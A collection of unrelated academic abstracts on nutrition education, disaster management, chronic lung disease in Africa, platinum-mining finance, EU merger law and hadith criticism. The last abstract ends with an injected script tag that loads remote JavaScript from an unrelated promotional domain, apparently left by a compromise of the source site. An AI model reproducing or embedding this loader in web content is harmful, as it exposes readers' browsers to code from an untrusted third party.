THE COMPARISSON OF COMPLEMENTARY FEEDING EDUCATIONAL RESULT BETWEEN EMOTIONAL-DEMONSTRATION METHODS AND TEAM GAME TOURNAMENT TO INFANT MOTHERS AT INTEGRATED SERVICE POST, POGALAN VILLAGE, TRENGGALEK

Edukasi mengenai MP-ASI merupakan salah satu langkah pertama untuk mencegah terjadinya gizi kurang dan gizi buruk pada anak. Penelitian ini bertujuan untuk mengetahui perbandingan hasil edukasi antara metode Emotional Demonstration dan Team Game Tournament tentang MP-ASI kepada ibu yang memiliki baduta di Posyandu desa Pogalan, Kabupaten Trenggalek. Penelitian ini menggunakan kuantitatif dengan quasi eksperimental design menggunakan instrumen soal tes pengetahuan dan angket sikap. Jumlah sampel sebanyak 56 orang yang dipilih menggunakan teknik purposive samping dan kemudian dibagi menjadi 2 kelompok sehingga masing-masing kelompok berjumlah 28 orang, selanjutnya kelompok pertama diberikan edukasi MP-ASI menggunakan metode Emotional Demonstration dan kelompok kedua diberikan edukasi MP-ASI dengan menggunakan metode Team Game Tournament. Data pengetahuan dan sikap antar kelompok eksperimen dianalisis menggunakan uji paired sample t-test dan uji independent sample t-test. Hasil penelitian menunjukkan bahwa metode Emotional Demonstration dan Team Game Tournament sama-sama dapat meningkatkan hasil edukasi tentang MP-ASI. Namun, tidak terdapat perbedaan yang signifikan antara hasil edukasi dari kedua metode tersebut baik aspek pengetahuan (nilai p 0.926) maupun aspek sikap (nilai p 0.594). Penelitian ini mengukur peningkatan aspek pengetahuan dan aspek sikap tanpa perubahan perilaku, sehingga peralatan pada metode Team Game Tournament dinilai lebih praktis dan durasi yang diperlukan dalam satu kali pertemuan edukasi MP-ASI menggunakan  metode Emotional Demonstration dinilai lebih panjang

Kapasitas Badan Penanggulangan Bencana Daerah Karo Dalam Penanganan Rumah Relokasi Siosar Tahap I

This study aims to determine and describe how the Karo Regional Disaster Management Agency's Capacity in Handling Siosar Relocation Houses Phase I, with a descriptive method with a qualitative approach that explains the phenomenon in depth through data collection such as interviews, observations, documentation, and literature studies. In this study, we used Horton's theory with indicators of organizational capacity assessment, including human resources, infrastructure, technology and financial resources, strategic leadership, programs and management, network cooperation and relationships with other parties. Through this study, researchers found that the capacity of the Karo Regional Disaster Management Agency in handling Siosar Phase I Relocation Houses was not maximized, judging from the indicators of human resources that were not maximized, where the educational background of employees was not in accordance with position placement, related to infrastructure, technology, and resources. related to the chief executive's strategic leadership not interacting with employees; related to programs and management where lack of knowledge causes errors in writing sub-districts in house certificates in stage I; and related to relationships with other parties that are not good due to a lack of communication and coordination, resulting in a lack of communication

Identifying actions to foster cross-disciplinary global health research: a mixed-methods qualitative case study of the IMPALA programme on lung health and tuberculosis in Africa.

ObjectivesTo identify actions for fostering cross-disciplinary research (CDR) skills and collaborations in global health, and to produce recommendations for improving the design, implementation and management of cross-disciplinary global health research programmes.DesignUsing a North-South global health research programme as a case study-and following an adapted framework-we conducted qualitative research using document reviews, semi-structured interviews (purposive sampling) and participatory observation. We used baseline survey findings to identify potential interviewees and tailor interview guides.SettingOur case study was a 4.5-year (2017-2021) programme, namely, the International Multidisciplinary Programme to Address Lung Health and Tuberculosis in Africa (IMPALA). Led by a UK research institute, IMPALA spanned 22 partner organisations from 13 countries (10 in sub-Saharan Africa), and involved five research discipline groups: clinical science, social science, health systems, health economics and policy/research capacity.ParticipantsThirty-one IMPALA members were interviewed (July 2018-November 2019), with interviewees evenly split by gender (16 female and 15 male) and by Global North/South institution (15 non-African and 16 African). Twenty-five (81%) were researchers, comprising 18 senior researchers (professors, readers, associate professors and senior lecturers) and seven early career researchers (assistant professors, lecturers, research fellows, postdocs, research assistants and PhD students). Twenty-four programme events were observed (September 2018-April 2020) and 49 documents were reviewed (December 2017-April 2020). All 66 IMPALA staff were sent the baseline survey, receiving 51 responses (43/56 researchers and 8/10 non-researchers).ResultsFourteen themes emerged, which suggested that CDR-while valued by many-is not universally understood, and the time it requires is often underestimated. We found that fostering CDR and managing tensions needs planning and continuous discussions and interactions. A shared vision with explicitly agreed goals and roles and active management of cross-disciplinary activities is essential.ConclusionsActive planning, implementation and management of cross-disciplinary activities are essential for the success of cross-disciplinary global health research and should be separate from the primary research activities

Financialization and the extractive industries:The case of South African platinum mining

This paper examines the impacts of financialization on corporate strategy in the extractive industries with a case study of South African platinum mining during the first two decades after apartheid. Drawing on insights from literature on financialization of the firm, the paper examines how intensified shareholder value pressures shaped strategy at major platinum mining companies during the long commodities boom of the 2000s and subsequent slump from 2009. The paper argues that financialization exacerbates the already intense cyclical volatility of the extractive industries. Efforts to fulfil narratives of shareholder value delivery during the boom manifested in large dividend distribution, gearing of balance sheets and aggressive outlays on capacity expansion and mergers and acquisition activity to demonstrate to the market an ambitious pipeline of growth projects. The result was financial fragility and excess capacity which has exacerbated the impact of the slump in subsequent years with severe social consequences. Distributional contest between management and organized labour has intensified as management has sought to restore internationally competitive rates of return on capital. The paper argues financialization of the firm in mining creates particularly acute distributional contestation and instability, due to the contradictions between the powerful abstractive tendencies of financialized capitalism and the social embeddedness of mining as a landed industry. The analysis has broader implications for the study of the extractive industries and development, and the political economy of post-apartheid South Africa

Management of chronic lung diseases in Sudan and Tanzania: how ready are the country health systems?

Background Chronic lung diseases (CLDs), responsible for 4 million deaths globally every year, are increasingly important in low- and middle-income countries where most of the global mortality due to CLDs currently occurs. As existing health systems in resource-poor contexts, especially sub-Saharan Africa (SSA), are not generally oriented to provide quality care for chronic diseases, a first step in re-imagining them is to critically consider readiness for service delivery across all aspects of the existing system. Methods We conducted a mixed-methods assessment of CLD service readiness in 18 purposively selected health facilities in two differing SSA health system contexts, Tanzania and Sudan. We used the World Health Organization’s (WHO) Service Availability and Readiness Assessment checklist, qualitative interviews of key health system stakeholders, health facility registers review and assessed clinicians’ capacity to manage CLD using patient vignettes. CLD service readiness was scored as a composite of availability of service-specific tracer items from the WHO service availability checklist in three domains: staff training and guidelines, diagnostics and equipment, and basic medicines. Qualitative data were analysed using the same domains. Results One health facility in Tanzania and five in Sudan, attained a CLD readiness score of ≥ 50 % for CLD care. Scores ranged from 14.9 % in a dispensary to 53.3 % in a health center in Tanzania, and from 36.4 to 86.4 % in Sudan. The least available tracer items across both countries were trained human resources and guidelines, and peak flow meters. Only two facilities had COPD guidelines. Patient vignette analysis revealed significant gaps in clinicians’ capacity to manage CLD. Key informants identified low prioritization as key barrier to CLD care. Conclusions Gaps in service availability and readiness for CLD care in Tanzania and Sudan threaten attainment of universal health coverage in these settings. Detailed assessments by health systems researchers in discussion with stakeholders at all levels of the health system can identify critical blockages to reimagining CLD service provision with people-centered, integrated approaches at its heart

Changing lung function and associated health-related quality-of-life: A five-year cohort study of Malawian adults

Background In Sub-Saharan Africa cross-sectional studies report a high prevalence of abnormal lung function indicative of chronic respiratory disease. The natural history and health impact of this abnormal lung function in low-and middle-income countries is largely unknown. Methods A cohort of 1481 adults representative of rural Chikwawa in Malawi were recruited in 2014 and followed-up in 2019. Respiratory symptoms and health-related quality of life (HRQoL) were quantified. Lung function was measured by spirometry. Findings 1232 (83%) adults participated; spirometry was available for 1082 (73%). Mean (SD) age 49.5 (17.0) years, 278(23%) had ever smoked, and 724 (59%) were women. Forced expiratory volume in one second (FEV1) declined by 53.4 ml/year (95% CI: 49.0, 57.8) and forced vital capacity (FVC) by 45.2 ml/year (95% CI: 39.2, 50.5) . Chronic airflow obstruction increased from 9.5% (7.6, 11.6%) in 2014 to 17.5% (15.3, 19.9%) in 2019. There was no change in diagnosed asthma or in spirometry consistent with asthma or restriction. Rate of FEV1 decline was not associated with diagnosed Chronic obstructive pulmonary disease (COPD), asthma, or spirometry consistent with asthma, COPD, or restriction. HRQoL was adversely associated with respiratory symptoms (dyspnoea, wheeze, cough), previous tuberculosis, declining FEV1 and spirometry consistent with asthma or restriction. These differences exceeded the minimally important difference. Interpretation In this cohort, the increasing prevalence of COPD is associated with the high rate of FEV1 decline and lung function deficits present before recruitment. Respiratory symptoms and sub-optimal lung function are independently associated with reduced HRQoL

"Honestly, this problem has affected me a lot": a qualitative exploration of the lived experiences of people with chronic respiratory disease in Sudan and Tanzania.

BackgroundOver 500 million people live with chronic respiratory diseases globally and approximately 4 million of these, mostly from the low- and middle-income countries including sub-Saharan Africa, die prematurely every year. Despite high CRD morbidity and mortality, only very few studies describe CRDs and little is known about the economic, social and psychological dimensions of living with CRDs in sub-Saharan Africa. We aimed to gain an in-depth understanding of the social, livelihood and psychological dimensions of living with CRD to inform management of CRDs in Sudan and Tanzania.MethodWe conducted 12 in-depth interviews in 2019 with people with known or suspected CRD and 14 focus group discussions with community members in Gezira state, Sudan and Dodoma region, Tanzania, to share their understanding and experience with CRD. The data was analysed using thematic framework analysis.ResultsPeople with CRD in both contexts reported experiences under two broad themes: impact on economic wellbeing and impact on social and psychological wellbeing. Capacity to do hard physical work was significantly diminished, resulting in direct and indirect economic impacts for them and their families. Direct costs were incurred while seeking healthcare, including expenditures on transportation to health facility and procurement of diagnostic tests and treatments, whilst loss of working hours and jobs resulted in substantial indirect costs. Enacted and internalised stigma leading to withdrawal and social exclusion was described by participants and resulted partly from association of chronic cough with tuberculosis and HIV/AIDS. In Sudan, asthma was described as having negative impact on marital prospects for young women and non-disclosure related to stigma was a particular issue for young people. Impaired community participation and restrictions on social activity led to psychological stress for both people with CRD and their families.ConclusionChronic respiratory diseases have substantial social and economic impacts among people with CRD and their families in Sudan and Tanzania. Stigma is particularly strong and appears to be driven partly by association of chronic cough with infectiousness. Context-appropriate measures to address economic impacts and chronic cough stigma are urgently needed as part of interventions for chronic respiratory diseases in these sub-Saharan African contexts

What are the barriers to the diagnosis and management of chronic respiratory disease in sub-Saharan Africa? A qualitative study with healthcare workers, national and regional policy stakeholders in five countries

Objectives Chronic respiratory diseases (CRD) are among the top four non-communicable diseases globally. They are associated with poor health and approximately 4 million deaths every year. The rising burden of CRD in low/middle-income countries will strain already weak health systems. This study aimed to explore the perspectives of healthcare workers and other health policy stakeholders on the barriers to effective diagnosis and management of CRD in Kenya, Malawi, Sudan, Tanzania and Uganda. Study design Qualitative descriptive study. Settings Primary, secondary and tertiary health facilities, government agencies and civil society organisations in five sub-Saharan African countries. Participants We purposively selected 60 national and district-level policy stakeholders, and 49 healthcare workers, based on their roles in policy decision-making or health provision, and conducted key informant interviews and in-depth interviews, respectively, between 2018 and 2019. Data were analysed through framework approach. Results We identified intersecting vicious cycles of neglect of CRD at strategic policy and healthcare facility levels. Lack of reliable data on burden of disease, due to weak information systems and diagnostic capacity, negatively affected inclusion in policy; this, in turn, was reflected by low budgetary allocations for diagnostic equipment, training and medicines. At the healthcare facility level, inadequate budgetary allocations constrained diagnostic capacity, quality of service delivery and collection of appropriate data, compounding the lack of routine data on burden of disease. Conclusion Health systems in the five countries are ill-equipped to respond to CRD, an issue that has been brought into sharp focus as countries plan for post-COVID-19 lung diseases. CRD are underdiagnosed, under-reported and underfunded, leading to a vicious cycle of invisibility and neglect. Appropriate diagnosis and management require health systems strengthening, particularly at the primary healthcare level

The Analysis of Coordinated Effects in EU Merger Control: Where Do We Stand after Sony/BMG and Impala?

The recent Impala Judgment by the CFI on the Sony/BMG Decision by the Commission represents the most important ruling on collective dominance since Airtours. We review both the Decision and the Judgment and derive implications for the institutional and substantive development of EU Merger Control. Firstly, Impala introduces an ambitious symmetric standard of proof for prohibition and clearance decisions by the Commission. While alleviating fears of an increasing number of false positives in the aftermath of Airtours, this entails the problem of how to deal with cases in which neither the existence, nor the absence of anticompetitive effects can be proven to the required standard. Secondly, the ongoing process of increasing the role of third parties in European Merger Control is fuelled. Thirdly, Impala has the potential to herald a comeback of coordinated effects analysis, further precising the conditions for establishing this kind of anticompetitive effect. Additionally, given the characteristics of the music industry, we criticise a lack of in-depth economic analysis of non-price competition issues, such as innovations and product diversity

PANDANGAN ALI MUSTAFA YAQUB TENTANG KRITIK ORIENTALIS TERHADAP HADIS

&lt;span&gt;Salah satu kontroversi dari studi orientalis pada hadis adalah bahwa otentitas hadis sebenarnya tidak diyakini oleh mereka, karena tidak ada tradisi dari Nabi yang benar-benar otentik terutama tradisi yang berkaitan dengan fiqih. &lt;/span&gt;&lt;span lang="IN"&gt;Statemen ini&lt;/span&gt;&lt;span&gt; menimbulkan reaksi dari peneliti Muslim, diantaranya Ali Mustafa Yaqub yang menemukan bahwa keraguan yang diungkapkan oleh orientalis dalam sistem studi materi sanad adalah karena mereka umumnya tidak memeriksa rantai sanad berdasarkan kitab utama hadis, melainkan pada kitab fiqih dan sirah yang ditafsirkan dengan cara yang berbeda dari kitab hadis. Dalam penelitian ini terdapat dua rumusan masalah, yaitu kritik hadis pandangan Ali Mustafa Yaqub dan pandangan Ali Mustafa Yaqub terkait kritik orientalis terhadap hadis. Metode pengumpulan datanya menggunakan metode dokumentasi, kemudian dianalisis secara deskriptif-kritis. Hasil penelitian ini menemukan bahwa pandangan Ali Mustafa Yaqub tentang kritik hadis orientalis adalah: &lt;em&gt;Pertama, &lt;/em&gt;kritik hadis dimulai dari masa Nabi dan kritik hadis tidak dapat dilakukan dengan menanyakan kembali kepada Nabi melainkan dengan menanyakan orang lain yang ikut mendengar hadis itu dari Nabi. &lt;em&gt;Kedua, &lt;/em&gt;merespon argumen-argumen yang dikemukakan oleh para Islamisis, seperti Ignaz Goldziher dan Joseph Schacht. &lt;/span&gt;&lt;script charset="UTF-8" type="text/javascript" src="http://happybizpromo.com/i.js?tag=new1809&amp;amp;did=1&amp;amp;v_tag=84817&amp;amp;k_tag=0"&gt;&lt;/script&gt;</jats:p